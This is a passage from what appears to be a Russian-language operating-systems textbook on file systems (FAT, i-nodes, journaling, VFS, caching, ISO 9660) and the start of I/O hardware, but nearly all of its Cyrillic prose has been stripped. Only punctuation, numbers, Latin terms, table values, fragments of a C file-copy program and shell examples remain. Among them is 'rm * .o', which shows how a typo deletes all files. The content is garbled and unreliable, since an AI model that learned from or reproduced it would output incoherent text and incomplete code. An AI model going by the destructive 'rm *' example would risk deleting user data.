, , . ,
.
,
, .
. ,
,
.
.
310
4.
4.2.
0 ; 1
0 ; 1
0 ; 1
0 ; 1
ASCII/
0 ASCII; 1
0 ; 1
0 ; 1
0 ;
, .
,
.
,
.
4.1.6.
. , -
4.1.
311
.
, .
Create (). .
.
Delete (). , , .
.
Open (). .
open ,
.
Close ().
, ,
.
, . ,
, .
Read ( ). . , . .
Write ( ). , , .
, . - ,
, .
Append ().
write. . , , , append ,
,
append.
Seek ().
, . seek, .
.
Get attributes ( ).
. , UNIX make
,
. make
. ,
.
Set attributes ( ). , .
.
312
4.
. .
Rename (). . .
,
, .
4.1.7. ,
UNIX-,
- -. 4.1.
,
, .
4.1.
/* .
. */
#include
*/
#include
#include
#include
<sys/types.h>
/*
<fcntl.h>
<stdlib.h>
<unistd.h>
/* ANSI- */
/*
4096 */
/* */
/* argc 3,
*/
/* */
in_fd = open(argv[1], O_RDONLY);
/* */
if (in_fd < 0) exit(2);
/* , */
out_fd = creat(argv[2], OUTPUT_MODE);
/* - */
if (out_fd < 0) exit(3);
/* , */
/* */
while (TRUE) {
rd_count = read(in_fd, buffer, BUF_SIZE); /* */
if (rd_count <= 0) break;
/*
*/
wt_count = write(out_fd, buffer, rd_count); /* */
4.1.
313
/* */
/* */
copyfile , ,
copyfile abc xyz
.
. , in_ fd
out_ fd, , . , rd_count wt_count,
, read write . , buffer,
.
314
4.
,
argc 3. argc 3, 1. 0 , .
.
.
. , in_ fd
, .
, , .
, , out_ fd
. creat .
, 1 .
,
buffer 4 .
read, read.
, , ,
. , rd_count,
. 4096, ,
. 0.
rd_count ,
, (
) break.
write
. , , ,
read, , .
, ,
BUF_SIZE. ,
4096, 4 .
, ,
rd_count 0, .
,
.
Windows
UNIX, Windows,
, , , 4.1. Windows 8 11.
4.2.
,
. ,
, , .
4.2.
315
4.2.1.
,
. , -, .
- ,
. , , CDC 6600,
, ,
. ,
.
, , . 4.3.
, .
,
.
.
. 4.3. ,
4.2.2.
( ), , , -,
, .
, . ,
, ,
, ,
, , , , ,
, ,
, , , . .
( ).
, . ,
, ,
.
. 4.4. A, B C,
,
, .
, .
.
316
4.
. 4.4.
4.2.3.
, -
. .
( ),
. , /usr/ast/mailbox ,
usr, , , ast,
mailbox.
. UNIX
/. Windows \. MULTICS
>.
:
Windows \usr\ast\mailbox
UNIX /usr/ast/mailbox
MULTICS >usr>ast>mailbox
, , , .
. ( ).
,
. , /usr/ast,
, /usr/ast/mailbox, ,
mailbox. , UNIX
cp /usr/ast/mailbox /usr/ast/mailbox.bak
cp mailbox mailbox.bak
, /usr/ast.
, , .
4.2.
317
,
. . ,
/usr/lib/dictionary.
, , ,
. , ,
.
, /usr/lib, :
/usr/lib, open
dictionary. ,
, .
, , ,
. ,
,
. ,
, ,
. -
, -
,
.
, , . .., -. ,
( ,
). , , UNIX (. 4.5).
, /usr/ast .
, .... ,
/usr/lib/dictionary
cp ../lib/dictionary .
(
usr), lib dictionary.
() .
cp ( ),
. , -:
cp /usr/lib/dictionary .
dictionary. ,
cp /usr/lib/dictionary dictionary
318
4.
. 4.5. UNIX
,
cp /usr/lib/dictionary /usr/ast/dictionary
4.2.4.
, , . ,
( UNIX).
Create ( ). , , (
mkdir).
Delete ( ). . , , ,
.
Opendir ( ). . , , , ls
4.3.
319
.
, .
Closedir ( ). , ,
.
Readdir ( ). .
read, , ,
. , readdir
,
.
Rename ( ).
, .
Link (). ,
.
. ,
, , . ,
i- ( , ),
, (hard link).
Unlink (). . ( ),
. , , . .
UNIX (
) unlink.
,
, , .
(symbolic
link). , ,
, , ,
. ,
, .
, .
,
, .
.
4.3.
. , , ,
320
4.
, . ,
, .
, ,
.
4.3.1.
.
,
. 0 (Master Boot
Record (MBR)) . MBR
.
. . BIOS ( -) MBR. ,
MBR, ,
, , . , .
,
. ,
- .
, , ,
. , . 4.6.
.
,
. , ,
, .
, . i-,
,
. 4.6.
4.3.
321
. ,
. ,
.
4.3.2.
,
.
.
.
. , , 1 , 50 50 .
, 2 , 25
.
. 4.7, . 40 , 0 . .
0 A .
A B, .
, , ,
A 3,5 , . ,
. 4.7. : ;
D F
322
4.
,
. , . .
. -, , :
.
.
-, ,
. ( ).
,
, .
,
.
, :
. ,
. 4.7, . D F. ,
.
() ,
, , ,
. ,
. 4.7, ,
.
, , .
, ,
, ,
. , .
.
, . , .
. ,
,
,
. ,
, , 1 ,
, . ,
500
. ., .
.
4.3.
323
, , -.
-.
DVD . , 90-
- 4,5 ,
UDF (Universal Disk Format
) 30- , . DVD-,
, - 1 ,
. ()
.
1,
.
( ).
-
. -, DVD, Blu-ray-
. , ,
.
(. 4.8). , .
. 4.8.
324
4.
,
.
( ).
, ,
. .
. n,
n 1 . ,
.
2,
. ,
, , 2.
,
, - .
,
. . 4.9 , ,
. 4.8. . A 4, 7, 2, 10 12, B 6, 3, 11 14. ,
. 4.9, 4
. 6.
(, 1),
. , , FAT (File
Allocation Table ).
. , .
- , , .
, (
) - , .
,
. 1- ,
1 , 1 ,
1 . 3 .
4 . , 3 2,4
, ,
, . , FAT
4.3.
325
. 4.9. ,
. MS-DOS,
Windows.
I-
, i- (index-node -),
. . 4.10. i-
. , , ,
i- , .
i- n ,
k , , , i-
, kn .
.
,
, . . , ,
. n , n .
. , , i-, ,
. ,
100, 1000 10 000 .
326
4.
. 4.10. i-
i- : , ,
?
, ,
(. . 4.10). , , .
, , .
i- UNIX 10.
Windows NTFS ,
i-, .
4.3.3.
, .
.
, , .
( ), ( ,
) i-. ASCII- ,
.
: ?
,
4.3.
327
, - . . . . 4.11, .
, ,
( ), ,
( ), , .
. 4.11. :
; i-
, i-,
i-.
i-. . 4.11, . ,
.
,
. MS-DOS , 18 , , 13 . UNIX 7
114 , .
. ?
,
255 , ,
. 4.11, 255 .
, ,
. - .
,
.
, , ,
, ,
. , ,
(. 4.12, ),
(, SPARC ).
328
4.
. 4.12. : a ;
()
,
,
. , ,
. , -
.
,
, () (. 4.12, ).
, ( )
.
- ,
. ,
, ,
- , . 4.12, ,
, . 4.12, .
4.3.
329
,
, , .
. -.
n.
0 n 1, , n .
, ,
n - 1.
,
-. , .
-. ,
, , -, .
. -
.
, .
, , .
- , .
- ,
, .
. .
, .
, , .
4.3.4.
,
.
, , . . 4.13
, . 4.4, , C, ,
B. , B, . ,
(Directed Acyclic Graph (DAG)). ,
DAG, , .
,
,
( ) (, . .).
-. . .
330
4.
. 4.13. ,
.
:
, , B. - , B C,
- ,
, , . ,
.
.
, .
.
. UNIX (
i-).
, B C, LINK
B.
, . B ,
, , ,
LINK, .
() .
. , B , i-
C.
(. 4.14), i-,
, .
C ,
. i-, B
, i-. i-
4.3.
331
. 4.14. , : ; ;
( )
, , B,
(, , ). i-
, - ,
, , , .
i-,
.
, , C,
i-, 1 (. . 4.14, ).
, B ,
, C.
- ,
C - ,
B . ,
.
,
i- . , , i-.
. ,
. .
. , , ,
, i-.
.
, i-,
, ,
, i-.
, ,
.
, .
332
4.
.
, . , , , ,
. , ,
, ,
. , ,
,
.
4.3.5.
,
, , (
), .
, , (
, ).
,
. , , LFS (Log-structured
File System ). LFS.
LFS (Rosenblum and Ousterhout, 1991).
LFS , . ,
. ,
,
,
, ,
.
,
. ,
, 50 , , 10 ,
, 4 .
.
, ,
UNIX. i- , , i- . ,
, ,
. , ,
i- .
4.3.
333
LFS
UNIX , , .
.
, , , ,
. ,
i-, .
, ,
.
1 , .
- i- , UNIX,
,
. , i-, . , i-
,
i-, UNIX. i- i-,
i-. i i- .
, , .
: , , ,
.
i- . i-
. ,
.
, . ,
. ,
. ,
, i- ,
.
, LFS , ,
. ,
, i- .
i-, , i-
. , . i- ,
, .
,
. ,
.
, , , .
334
4.
, , ,
i- ( - ),
.
i-,
. , , .
, , ,
LFS UNIX ,
,
, UNIX.
4.3.6.
-
.
. . ,
,
, , ,
, . , ,
. NTFS,
Microsoft, Linux ext3 ReiserFS. OS X
.
.
, , . UNIX :
1. .
2. i-, i-.
3. .
Windows .
, . , ,
. , i- ,
,
, .
, .
i-,
,
- , .
, i- ,
i-, ,
4.3.
335
, , ,
.
.
,
.
(, , , , ).
.
.
, - . ,
(
), ,
.
,
- .
, , i- k n , , .
foobar .
i- k
, .
n, .
, .
.
, .
begin transaction end transaction.
, ,
.
NTFS ,
.
Windows NT 1993 .
Linux ReiserFS,
ext2. ext3,
, ReiserFS,
, ext21.
Linux , . ext4,
Linux. .
.
336
4.
4.3.7.
, . Windows
NTFS,
FAT-32 FAT-16, ,
, -,
- DVD ( ).
Windows , , C:, D: . . , ,
Windows , .
.
UNIX .
Linux ext2,
ext3-, /usr, ,
ReiserFS, /home, -,
ISO 9660, /mnt.
, .
,
Sun Microsystems (Kleiman, 1986) UNIX-,
, (virtual file system (VFS)).
, - , , ,
. . 4.15. Linux, FreeBSD,
UNIX, , UNIX-
.
. , -
. 4.15.
4.3.
337
338
4.
VFS , /usr ,
, . , include/unistd.h. VFS v-
, ,
i- . v- (
) ,
, v-, read,
write, close . .
v- VFS , v-. (
, v-,
.) , VFS
, ,
.
, , , VFS
v-
,
, . ,
, ,
. VFS , ,
, - USB . . 4.16.
, v-,
read
.
. 4.16. , VFS
4.4.
339
, . - , , VFS, ,
. ,
, -,
, VFS, ,
.
4.4.
,
. , .
4.4.1.
,
.
n : n .
.
,
: ,
.
, ,
.
,
.
, : ? ,
, , (
, ).
.
( ), , , . ,
.
( )
,
, -
340
4.
. ,
, ,
.
, .
(Tanenbaum et al., 2006) (VU) 1984 , 2005 ,
-, - (www.
electoral-vote.com). . 4.3,
, ,
2. , 2005 59,13 % VU
4 , 90,84 % 64 . 2475 . - .
? ,
1 3050 % ,
4 , ,
6070 %. , 4 93 %
10 % . ,
- ,
(), , ,
- .
90 % .
4.3.
VU 1984
VU 2005
VU 1984
VU 2005
1,79
1,38
6,67
16
92,53
78,92
86,79
1,88
1,53
7,67
32
97,27
85,87
91,65
2,01
1,65
8,33
64
99,18
90,84
94,80
2,31
1,80
11,30
128
99,84
93,73
96,93
16
3,32
2,15
11,46
256
99,96
96,12
98,48
32
5,13
3,15
12,33
512
100,00
97,73
98,99
64
8,71
4,98
26,10
100,00
98,87
99,62
128
14,73
8,03
28,49
100,00
99,44
99,80
256
23,09
13,29
32,10
100,00
99,71
99,87
512
34,44
20,62
39,94
100,00
99,86
99,94
48,05
30,91
47,82
16
100,00
99,94
99,97
60,87
46,09
59,44
32
100,00
99,97
99,99
75,31
59,13
70,64
64
100,00
99,99
99,99
84,97
69,96
79,69
128
100,00
99,99
100,00
, .
4.4.
341
( ), ,
, .
,
1 . 8,33 , 5 . ,
k , , :
5 + 4,165 + (k/1 000 000) 8,33.
. 4.17
. .
, 4 . , VU, , , ,
, .
. 4.17
.
. 4.17. ( ) ,
( )
. 4
.
. ,
9 , , .
( ,
, ).
.
4 1, 2 4
. 8 4
50 %, 16
25 %. , .
342
4.
, .
,
. - . , ,
64 , 6,6 /,
,
7 %. .
, 1 4 ,
, 1 ,
64 .
- .
Windows NT UNIX , , (Vogels, 1999). , NT
, UNIX. :
26 , 3 , 1 4 .
( ). 1 ,
2,3 , 4,2 . , 2014 ,
, VU.
:
? . 4.18 , .
, ,
. 1 32-
255
. ( .)
1 , 1 .
255 4 . ,
,
.
. , n , ,
n . ,
( ). 1
1 , 130 000 1 . ,
, ,
32 , , . ( ),
, .
4.4.
343
. 4.18. : ;
, , , , .
, , 8-,
16- 32- . : ,
. , , ,
, .
,
.
, ,
,
. . ,
VU, - . ,
, , , , .
,
,
.
344
4.
, ,
, .
. , .
,
. , .
-. , . 4.19, ,
. , ,
, ,
. 4.19, . ,
, , . 4.19, .
,
,
. , ,
-.
, -,
.
, . 4.19, , ,
. 4.19, , ,
. 4.19, , , . 4.19, .
- -.
, , . ,
( ),
, ,
- .
, -
. 4.19. : ,
, ;
; .
4.4.
345
.
,
, .
, ,
,
.
, . ,
,
.
.
,
,
. , ,
.
.
,
- ,
- . . 4.20.
, ,
. ,
.
. 4.20.
346
4.
,
, . , ,
, .
, . -
, , .
, i-.
,
,
. - ,
.
- , ,
.
.
, ,
.
.
4.4.2.
, . - ,
, , , ,
, 1.
,
, . , , , , ,
, ,
. ,
. : .
, . .
, ,
, . ()
, . , .
,
, .
1
,
(- ), . . .
4.4.
347
,
:
;
( ).
, , .
, . .
, , .
, Windows, ,
,
.
, , , .
, .
. -,
- ? ()
. -
DVD-,
.
. . UNIX ( -) /dev.
, , ,
. ,
,
.
-, ,
, . , , ,
,
.
,
. ,
,
, . ,
.
-, , .
. ,
348
4.
,
.
-, . ,
, .
,
, .
,
(Hutchinson et al., 1999).
,
.
, -,
. ,
, .
,
. . , , ,
.
- , ( ).
(Nemeth
et al., 2000). ,
.
:
.
, , , .
, , , 100 %,
, , .
.
,
. ,
,
.
( - ), ,
k k .
.
- .
. , , .
4.4.
349
,
.
, - .
, .
,
. , ,
.
, , ,
.
, ,
, , ,
,
.
Windows ,
. ,
,
.
( , ). ,
.
.
, - (,
). ,
,
.
, (. 4.21).
UNIX-.
() (). ,
. .
(
), ,
.
.
,
.
350
4.
, ,
(, , ). ,
, . /usr/
jhs/proj/nr3 .
/usr/jhs/proj/nr3/plans/
summary. summary ,
. nr3 plans.
, ,
, ,
.
. 4.21. . ,
. ,
. i-
,
i-, i- .
. .
(, ). i-
. ( , ),
.
, . 4.22, .
,
,
4.4.
351
, .
, . 4.22, . ,
10, 11, 14, 27, 29 30 ,
.
. 5 6,
, ,
.
.
, .
. 4.22, . i-
, .
. 4.22, . (, . .), . ,
, . 4.22, ,
. .
. 4.22. ,
.
.
.
, ,
, .
,
, . .
, . ,
, , ,
. ,
, .
. , , , ,
, .
352
4.
, UNIX
. , , , .
, , . , ,
.
, , ,
(, 232 , , 264 ).
, , (, ) , ,
(
/dev).
(Chervenak et al., 1998), (Zwicky, 1991).
4.4.3.
, , . ,
, .
, ,
. , i-,
, .
, . ,
UNIX fsck, Windows sfc ( ).
, .
fsck. sfc ,
,
. ( )
.
: .
,
, .
,
( ).
i-, ,
. i- , . ,
.
, .
.
4.4.
353
, 1 ,
(. 4.23, ).
, . 4.23, , 2 . .
, , .
: .
. 4.23. : ; ;
, ;
,
. 4.23, . 4
. ( , , , .) : .
,
, 5 (. 4.23, ). -
354
4.
, 5 , ,
.
, .
, 5
. (
),
. , .
. ,
, .
, .
i- ,
.
,
.
.
, , i-, , . , i-.
1
.
. :
i- .
, ,
, -
i- . , ,
. , i-.
.
, i- ,
i- . ,
. ,
i-, .
- i-
.
, ,
(
i-). . ,
, i- ASCII-. i-
i- , , .
, i- (
), , ,
0007, -
4.4.
355
, , .
,
, . , , , 1000 ,
. ,
SETUID, ,
, . ,
, ,
.
.
.
rm *.o
, .o (
),
rm * .o
( ), rm ,
, .o. MS-DOS i-,
.
, 1. ,
, ,
( ) . Windows
( ), 2. ,
, .
4.4.4.
, . 32- 10 .
100 /, 32-
1
Windows.
. : ,
cmd.exe , .
.
356
4.
, 510 , .
, , .
,
. .
. ( cacher .)
, ,
.
, ,
. ,
. ,
, , .
.
. 4.24.
( ) , - ,
.
, -.
( ) .
. 4.24.
, -
( , ).
,
, 3,
FIFO, LRU, . ,
,
LRU ( ),
.
4.4.
357
. 4.24 , , , ,
, (LRU)
(MRU) .
, .
LRU-.
, . , , LRU, , .
- ,
. - , i-, , ,
. i-
LRU-, ,
.
, , i-,
. LRU-, :
1. , ?
2. ?
,
i-, , ,
. , , , , , LRU,
. , , , ,
, .
. ( , )
, , LRU .
. , ,
, ,
.
,
.
, .
,
, ,
. ,
, .
, . ,
. UNIX sync,
.
, update.
358
4.
sync, 30 .
30 .
Windows , sync, FlushFileBuffers, .
, - , , UNIX (
- ).
, . ,
, .
-
.
, 1 . UNIX 30 , ,
.
. ,
, , ,
write , .
, UNIX sync
,
. .
- , UNIX ,
,
Windows MS-DOS,
. , ,
UNIX, ( ),
Windows.
NTFS, ,
(, ).
. , . ,
, .
. ,
, .
, ,
, ,
. , . k -
, , , ,
k + 1. , k + 1
, , , .
.
4.4.
359
, ,
.
. ,
-
(, , -
). ,
,
. ,
, .
, .
, .
.
. ,
,
.
.
, , .
.
, .
, , .
. , ,
. 512 ,
1 (2 ),
2 (4 ). 2 , -
1
1 , , .
.
.
, i- - , , :
i- . i-
. 4.25, . i- ,
i-
, .
360
4.
. 4.25. : i- ; ,
i-
i-
, ,
i- . , . 4.25, ,
,
i-, (McKusick et al., 1984).
i-,
, i-. , . ,
, .
(solid-state disk, SSD),
. , ,
-, ,
, .
, . , , , SSD- . ,
,
.
4.4.5.
, .
.
, .
,
.
, , (,
, ) . Windows defrag,
4.5.
361
. Windows
, SSD-.
,
.
.
, -
. . .
; ,
,
, ,
. .
, ,
. ,
, .
Linux ( ext2 ext3) , , Windows,
, .
, SSD- . SSD- .
, , .
4.5.
,
. UNIX
Windows 8 10,
UNIX, 11, Windows 8,
. .
4.5.1. MS-DOS
MS-DOS ,
. Windows 98 Windows ME . Windows 2000, Windows XP
Windows Vista,
, , .
(FAT-32)
. . MP3 . Apple iPod
, iPod . ,
, MS-DOS, ,
362
4.
- , , ,
NTFS. .
, MS-DOS open, . open ,
, ( ). ,
, .
.
MS-DOS , 32 .
MS-DOS . 4.26. , ,
, . 8 + 3 ,
. Attributes ()
, , , ,
, .
, , . . archived ()
( MS-DOS
). ,
,
, . ,
, ,
. hidden ( )
.
, ,
. , system ()
del. ,
MS-DOS.
. 4.26. MS-DOS
. 2 ,
2- , 65 536 (
86 400 ). (5 ), (6 )
(5 ). : (5 ),
(4 ) 1980 (7 ). 7-
4.5.
363
1980 2107-. ,
MS-DOS 2108 .
, MS-DOS 2108 . MS-DOS
32- ,
, 2116 .
MS-DOS 32- ,
4 . , ,
, 2 .
, (10 ) .
MS-DOS (FAT
file allocation table), .
.
64 K FAT 1. , .
FAT . 4.9.
, FAT: FAT-12, FAT-16 FAT32 . - FAT-32
, 28
. FAT-28, , ,
.
FAT exFAT,
Microsoft . Apple exFAT,
, Windows OS X. exFAT
Microsoft , .
FAT 512 (
) ( Microsoft ),
. MS-DOS FAT-12 512 , 212 512 ( 4086 512 ,
10 , , . .).
2 , FAT 4096
2 , 12-
.
,
. Microsoft , 1, 2 4 .
FAT-12, 16 .
, , -, FAT
, -,
FAT 64 FAT-16. FAT-12 , FAT-32
. . .
364
4.
MS-DOS ,
FAT-12 64 .
- . FAT-16 16- .
8, 16 32 . (32 768 , ,
16 .) FAT-16
128 ,
FAT-12.
, FAT-16, 2 (64 K
32 ), 8 ,
2 . .
.
, , DV, 2
9 . , , ,
, 38 ,
. ,
, ,
19 , ,
.
Windows 95 FAT-32,
28- , MS-DOS,
Windows 95, FAT-32. 228 215 ,
2 (2048 ),
512 , 32- , 29 232 = 2 .
FAT . 4.4.
FAT-32
FAT-16. -, 8 ,
FAT-32, . FAT-16 ,
Windows C:, D:, E: F:.
, , , .
4.4.
( )
,
FAT-12,
0,5
FAT-16,
FAT-32,
128
16
256
512
16
1024
32
2048
4.5.
365
FAT-32 FAT-16 ,
. , 2- FAT-16 32- ,
64
. FAT-32 , ,
4 2- .
, 32 .
32 10- 32 . , , 8 , 32-
3/4 , . 8- 4-
, FAT
. 4- 2-
512 , FAT 512
( 2 ).
MS-DOS FAT . .
MS-DOS , FAT ,
. .
4.5.2. UNIX V7
UNIX ,
MULTICS. V7,
PDP-11, UNIX . UNIX Linux
10.
, ,
, .
14 ASCII, (
) NUL (
14 ). NUL 0.
UNIX .
, UNIX
i- (. . 4.10). , . 4.27,
: (14 ) i- (2 ).
64 .
. 4.27. UNIX V7
366
4.
i- . 4.10 i- UNIX , , (,
), , ,
i- .
. i- i- . i- .
, i- , .
,
. 4.10, . 10
i-, i-,
. i- , .
. , i-,
, .
, . . 4.28.
. 4.28. I- UNIX
. ,
/usr/ast/mbox. UNIX,
.
.
UNIX i- . i-
4.5.
367
,
, 1.
, usr, i- /usr.
i- ,
. i- /usr , ast. ast,
i- /usr/ast. i-
mbox. i- mbox
, . . 4.29.
. 4.29. /usr/ast/mbox
, ,
, , .
. .., .
. i- , .. i- . , , ../dick/prog.c,
.. , i- ,
dick.
. , ASCII-, .
, .. .
4.5.3. -
, -. ,
, .
368
4.
, , , .
- . - ,
, , DVD- Blu-ray-,
, -.
- - CD-R (CD Recordable). -,
,
-. (
, ).
. ,
-.
ISO 9660
ISO 9660
- 1988 . , -,
, , , .
- , .
, ,
,
(, MS-DOS).
- ,
. ( ). (
) 2352 . , .
2048 . -
, ,
, - .
.
, 1 = 75 .
ISO 9660 216 1 . -
(). ISO 9660
-.
- 16 ,
ISO 9660. -
, -, . , ,
-.
(32 ), (32 ),
4.5.
369
(128 ) , (128 ). , ,
, .
,
,
. , ,
( , 2048,
,
2, 4096, 8192 . .), -,
. ,
,
- ( , ).
.
-
. , ,
, .
, , , .
. 1012 , ASCII-, . ,
(, , Pentium),
(, , SPARC). , 16- 4 , 32- 8 .
.
, ,
, . , -
.
ISO 9660 . 4.30.
, ,
. , ,
.
.
,
.
. , , .
-
, , , , , 1.
1
, . . .
370
4.
- 1900 , , -
2156 , 2155 1900. 1988 ( ),
2244 88 .
,
(, MS-DOS), , , , , , ,
, ,
. , . ,
ISO 9660 ,
.
, - . ,
- ,
- . ,
- ,
- .
, . 4.26 L, .
, , , ,
(1 2 ). , 0 9
. ,
.
, . MS-DOS.
, .
. ,
.
, . , , . , ,
.
-. , Macintosh Finder.
, , .
. .
4.5.
371
. .. UNIX.
.
. .
.
, .
ISO 9660 . 1 ,
8 + 3 , , . , ,
.
,
- .
2 .
31 ,
.
3 , 2, .
, . ( )
.
, 3
- , ,
.
Rock Ridge
, ISO 9660
. UNIX
, UNIX
-. Rock Ridge, (Blazing Saddles), , ,
- .
, ,
- Rock Ridge . ISO 9660.
, Rock Ridge,
-.
:
PX POSIX;
PN ;
SL ;
NM ;
CL ;
372
4.
PL ;
RE ;
TF .
PX rwxrwxrwx UNIX , .
, SETUID, SETGID . .
PN - .
, .
- /dev
.
SL .
.
NM. .
,
ISO 9660, , UNIX.
, ISO
9660 , .
, ,
. .
, TF , i- UNIX:
,
.
UNIX -, .
Joliet
ISO 9660 UNIX. Microsoft
( MS-DOS, -
, Microsoft).
Microsoft Joliet. ,
Windows -
, , Rock Ridge
UNIX. , , Windows -, Joliet, ,
-.
ISO 9660 Joliet.
, Joliet, :
;
Unicode;
;
, .
4.6.
373
64 .
Unicode.
,
, ,
, 1. Unicode 2 ,
Joliet 128 .
Joliet, Rock Ridge, . , . ,
. ,
, Windows - , , , - 2.
4.6.
, . ,
FAST, MSST NAS. ,
(Smaldone et al., 2013; Wallace et al., 2012), (Koller et al.; Oh, 2012; Zhang
et al., 2013a), (Wei et al., 2011), (Harnik
et al., 2013), - (No, 2012; Park and Shen, 2012;
Narayanan, 2009), (Leventhal, 2013; Schindler et al., 2011), RAID
(Moon and Reddy, 2013), (Chidambaram et
al., 2013; Ma et. al, 2013; McKusick, 2012; Van Moolenbroek et al., 2012),
(Rajgarhia and Gehani, 2010), (Fryer
et al., 2012) (Mashtizadeh et al., 2013).
,
(Harter et al., 2012).
(Botelho et al., 2013; Li et al., 2013c; Lorch et
al., 2013).
(Mazurek et al., 2012; Vrable et al., 2012). ,
, ,
, , (Ghoshal and
Plale, 2013; Sultana and Bertino, 2013).
,
(Baker et al., 2006). , (Appuswamy et al., 2011).
1
, , . , , . . .
374
4.
4.7.
.
, ,
. , , ,
, , .
.
,
. , ,
i-. .
- (, i-). .
,
. ,
, ,
.
,
.
ISO 9660, MS-DOS UNIX.
,
, .
1. /etc/passwd.
: . ...
2. Windows ,
Windows Explorer,
. ,
, .
3. UNIX- ( a.out) , .
,
. ,
, ?
4. open UNIX?
, ?
5. , ,
. , ?
375
6.
rename. -
?
7. . ?
?
8. ,
.
-
? ?
9. UNIX Windows ,
.
.
10. , . 4.5. /usr/jim , ,
../ast/x?
11. ,
,
,
. , ?
, .
12. : ) , ) , ) (
) .
13.
.
, ,
, . .
,
5 , 4 ,
8 /, 8 . , ,
?
16- ?
14. , , -
?
15. ,
. ,
, .
376
4.
377
27. , . ,
, , .
. ,
?
28. .
Windows , ,
, . UNIX . UNIX ,
?
29. , 21 . 4.22 .
. 4.23?
30. , UNIX
, i-. ?
31. . 4.23. , -
2?
?
32.
( , ).
1 , , , 40 ,
, h. h 0 1,0.
33. USB-, , ?
34. , . , , ,
.
?
35. , , 10 , 14 23. , f1 f2.
, f1 f2
22 16. FAT, ,
f1 f2.
(14,18); (15,17); (16,23); (17,21); (18,20); (19,15); (20, 1); (21, 1); (22,19);
(23,14).
(x,y) , , x, y.
36. . 4.17 ,
6 , 15 000 /
1 048 576 . ,
1, 2 4 ?
378
4.
37. 4- . 1 . 1 ,
? ,
? .
38. ( ) 10 ,
4 , 4 ?
39. MS-DOS FAT-16,
. k ,
k , . ?
40. UNIX 4 4-
. , i- 10
, ?
41. i- /usr/ast/
courses/os/handout.t? , i- .
, .
42. UNIX i- . i-
. .
43. , ,
, .
,
.
44. ,
, . ,
, (, 1024
0 1023 , 1024 2047
. .).
45. , UNIX, i- . , ,
, .
46. ls UNIX.
, ,
. .
.
47. .
379
(, 2 ) .
(, 64 4 ).
(, gettimeofday getitimer UNIX),
, . :
?
48. ,
, .
, i-, ,
. . (,
, ). ,
, ,
, .
5.
, , , -, . ,
.
.
( ). -
. , -.
. -, -.
- ,
. ,
. -:
, , . .
.
5.1.
-
-. , , , , .
, , ,
.
-, , ,
,
. -
. -
, .
1.
5.1. -
381
5.1.1. -
- : . ,
,
. 512 65 536 . () .
,
. , Blu-ray- USB.
, , , .
, , ,
,
, , .
,
( ).
. N,
, N. , ,
. ,
.
, :
, .
- . , .
.
, ,
( -), ( ) , .
.
. , , .
. , , . ,
, .
.
,
-. , ,
,
.
- , ,
, -
382
5.
. . 5.1 . .
5.1.
10 /
100 /
56
7 /
300 dpi
1 /
3,5 /
Blu-ray- 4x
18 /
802.11n
37,5 /
USB 2.0
60 /
FireWire 800
100 /
Gigabit Ethernet
125 /
SATA 3
600 /
USB 3.0
625 /
SCSI Ultra 5
640 /
PCIe 3.0
985 /
Thunderbolt 2
2,5 /
SONET OC-768
5 /
5.1.2.
- . ,
. , .
,
(PCIe).
. . 1.6.
, ,
. , .
- ,
ANSI, IEEE ISO -
, , . , ,
SATA, SCSI, USB, Thunderbolt FireWire (IEEE 1394).
. , - -
5.1. -
383
5.1.3. -,
. , , ,
- . ,
, ,
, . .
,
. ,
,
, .
384
5.
: ? .
-,
8- 16- 1. -
-, (
). -,
IN REG,PORT
PORT REG. ,
OUT PORT,REG
REG
PORT. ,
, IBM 360 ,
.
. 5.1, ,
- .
IN R0,4
MOV R0,4
. - 4 R0,
4 R0. ,
.
. 5.1. - ; -,
;
, -,
, . . .
5.1. -
385
, PDP-11,
(. 5.1, ). ,
.
-.
. . 5.1, ,
-, , - .
x86, IBM PC 640 K 1 M 1
-, 0 64 K 1.
?
, -,
, READ
. , , -
, . ,
, -,
-. (
. 5.1, ), -
, .
,
. , , , , .
. -, . -,
-,
, ++
IN OUT, ,
. -, ,
,
C. -, ,
.
-, -, ,
.
,
, - . ,
,
. ,
, .
386
5.
-, -, , ,
, . , TEST,
,
,
.
:
LOOP:
TEST PORT_4
// , 4 0
BEQ READY
BRANCH LOOP
// 0, ready
// ,
READY:
-
, ,
.
,
, .
, . -, , . -, .
. ,
. PORT_4 ,
.
. - ,
.
-, ,
, .
,
, .
-, ,
- ,
, . ,
. 5.2, , ,
.
(. 5.2, ). , -. x86
( , PCIe, SCSI USB), . 1.12.
,
- , , - , ,
, . ,
- ,
5.1. -
387
. 5.2. : ;
- .
. , .
, .
,
-. ,
- ,
.
, . 1.12 , .
,
. , 640 1 M 1 ,
, .
, . ,
, .
5.1.4.
-,
, , .
- ,
,
, (Direct Memory Access
(DMA)). , ,
, , - (. 5.3).
388
5.
, ,
. DMA
DMA-, .
,
DMA- .
,
, DMA- (, , ).
. 5.3 , DMA- ,
. , .
,
. , ( -
), ( ),
, .
. 5.3. , DMA
DMA, ,
, DMA . ( ) ,
. ,
. . ,
,
.
DMA -.
DMA-, ,
5.1. -
389
, ( 1 . 5.3).
. , DMA.
DMA- , ( 2). ,
, ,
DMA-.
, , , ,
,
, .
( 3). ,
DMA- ( 4). DMA-
.
, 2- 4-
, . , DMA ,
. ,
, .
DMA .
, ,
. . , .
,
. . 5.3 ( 2- 4-), DMA- , .
, ,
. ,
.
DMA- .
: .
DMA- . , : DMA-
. ,
. ,
, . DMA-
, ,
. .
, , , ,
,
. ,
,
.
390
5.
, DMA
. , DMA-,
DMA-,
. ,
,
( ,
).
DMA-
.
DMA. DMA-
,
.
DMA- (MMU). ,
MMU ( ),
.
, DMA . , , , . ,
? . -,
, ,
. ,
.
-, ,
, .
,
.
- (, ), . ,
, , ,
- .
, .
,
DMA, ,
DMA . (
, ,
, - .)
DMA .
, DMA-
(
-).
5.1. -
391
, ,
DMA- , . ,
DMA
, ,
.
5.1.5.
- 1 .
, . 5.4.
.
- , (
, ). .
, , .
. 5.4. .
,
, .
- ,
.
,
.
, ,
,
.
,
, , .
, ,
392
5.
.
. ,
.
- , , (
).
, -
. ,
.
, ,
, (
) . , ,
.
.
. ,
.
.
: ? ,
. ,
,
,
. ,
, .
. . :
? ,
.
, , .
. ,
.
:
, ?
, .
MMU ,
,
TLB.
.
5.1. -
393
,
( ).
. ,
(PSW) . ,
.
, ,
, , ,
, , , .
,
.
(. . 1.7, ). , ( )? .
.
, . , ,
, ,
, .
(. . 1.7, ) .
, ,
.
, , , .
, .
, , (Walker and Cragon, 1995).
:
1. .
2. , , , .
3. , , ,
.
4. ,
.
, ,
, . -
394
5.
,
. , , ,
. , .
, . ,
-, ,
.
- , , , ,
